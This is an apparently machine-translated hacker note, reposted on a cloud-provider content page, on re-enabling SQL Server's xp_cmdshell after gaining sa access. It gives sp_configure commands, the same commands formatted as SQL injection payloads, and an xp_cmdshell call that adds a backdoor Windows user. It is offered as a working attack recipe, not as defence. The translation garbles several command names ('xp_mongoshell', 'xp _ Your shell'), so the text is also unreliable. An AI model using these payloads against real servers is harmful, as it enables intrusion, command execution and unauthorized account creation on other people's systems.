How to enable xp_cmdshell when it is blocked ..

Source: Internet
Author: User

Author: xinba mingsheng KISS

Today, I got a shell .. The sa user is reading this article. It is about

Error: SQL Server blocks access to 'sys. xp_expose shell' during the 'xp _ external shell' process, because this component has been disabled as part of the security configuration of this Server. The system administrator can enable 'xp _ javasshell' by using sp_configure '. For more information about enabling 'xp _ external shell', see "peripheral application configurator" in SQL Server books online ".

How to handle such a problem...

At first, I thought the method of using the following example could be successful .. The result still does not work ..

Dbcc addextendedproc ("sp_oacreate", "odsole70.dll ")
Dbcc addextendedproc ("xp_mongoshell", "xplog70.dll ")

-----------------------------------------------------------------

Then I checked it online and got the following method.

EXEC sp_configure 'show advanced options', 1 --
Reconfigure with override --
EXEC sp_configure 'xp _ Your shell', 1 --
Reconfigure with override --
EXEC sp_configure 'show advanced options', 0 --

Injection:

; EXEC sp_configure 'show advanced options', 1 --
; Reconfigure with override --
; EXEC sp_configure 'xp _ Your shell', 1 --
; Reconfigure with override --
; EXEC sp_configure 'show advanced options', 0 --

B. Change configuration options

The following example sets the system recovery interval to 3 minutes.

USE master0
EXEC sp_configure 'recovery interval', '3'
RECONFIGURE WITH OVERRIDE

Bytes -----------------------------------------------------------------------------------

After the two statements are executed, the command cmd can be executed on them.

Exec master.. xp_mongoshell "net user name password/add "--

This is a note .. Group questions that you cannot understand ..

Here for detailed explanation: http://www.fuckhacker.net /? Action = show & id = 137

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.